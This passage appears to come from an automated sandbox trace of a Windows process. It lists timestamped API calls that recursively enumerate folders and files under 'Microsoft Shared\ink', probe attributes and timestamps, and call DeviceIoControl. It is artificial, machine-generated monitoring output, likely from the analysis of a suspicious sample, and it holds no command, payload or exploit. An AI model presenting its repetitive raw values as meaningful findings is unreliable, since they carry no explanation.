dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.682] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.682] GetLastError () returned 0x12 [0047.682] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.682] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.682] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.682] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.682] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0047.682] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0047.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.682] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0047.682] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee98e8 [0047.683] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee98e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xee98e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.683] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee98e8) returned 1 [0047.683] NtClose (Handle=0x170) returned 0x0 [0047.683] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.683] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.683] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.683] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.683] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.683] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.683] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5438 [0047.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee8958 [0047.683] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.683] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.684] GetLastError () returned 0x12 [0047.684] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.684] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.684] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.684] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.684] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.684] GetLastError () returned 0x12 [0047.684] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.684] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.684] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.684] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.684] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0047.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.684] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0047.691] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee98e8 [0047.691] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee98e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xee98e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.691] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee98e8) returned 1 [0047.691] NtClose (Handle=0x17c) returned 0x0 [0047.691] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.691] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.691] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.691] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.691] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.691] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.691] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5458 [0047.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee8a60 [0047.692] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.692] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.692] GetLastError () returned 0x12 [0047.692] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.692] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.692] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.692] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.692] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.692] GetLastError () returned 0x12 [0047.692] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.692] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.692] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.692] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.692] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0047.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.692] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0047.693] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee98e8 [0047.693] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee98e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xee98e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.693] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee98e8) returned 1 [0047.693] NtClose (Handle=0x170) returned 0x0 [0047.693] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.693] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.693] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.693] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.693] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.693] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.693] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5478 [0047.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee8b68 [0047.694] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.694] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.694] GetLastError () returned 0x12 [0047.694] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.694] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.694] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.694] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.694] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.694] GetLastError () returned 0x12 [0047.694] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.694] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.694] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.694] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.694] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0047.694] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: 